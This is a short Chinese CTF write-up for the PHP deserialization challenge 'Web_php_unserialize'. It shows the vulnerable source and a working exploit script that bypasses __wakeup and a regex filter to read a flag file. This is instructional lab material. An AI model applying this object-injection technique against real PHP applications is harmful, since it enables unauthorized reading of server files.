php反序列化漏洞的小坑

361 阅读1分钟

题目:攻防世界Web_php_unserialize

如果最后一步直接把反序列化表达式丢到base64 encoder里会直接错,因为php序列化的时候private属性会转成看不见的字符。所以应该直接利用php自带的base64编码函数。

源码:

<?php 
class Demo { 
    private $file = 'index.php';//默认值,可以修改
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { //参数大于属性的时候可以绕过wakeup
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}
if (isset($_GET['var'])) { 
    $var = base64_decode($_GET['var']); 
    if (preg_match('/[oc]:\d+:/i', $var)) { //o:(数字)+ :   4=+4绕过正则
        die('stop hacking!'); 
    } else {
        @unserialize($var); 
    } 
} else { 
    highlight_file("index.php"); 
} 
?>

正确的exp:

<?php 
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { //参数大于属性的时候可以绕过wakeup
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}
$obj=new Demo('fl4g.php');
$out=serialize($obj);
$out=str_replace('O:4',"O:+4",$out);//O:+4,:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}
$out=str_replace(":1:",":2:",$out);//O:+4,:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}
$out=base64_encode($out);//
echo($out);
?>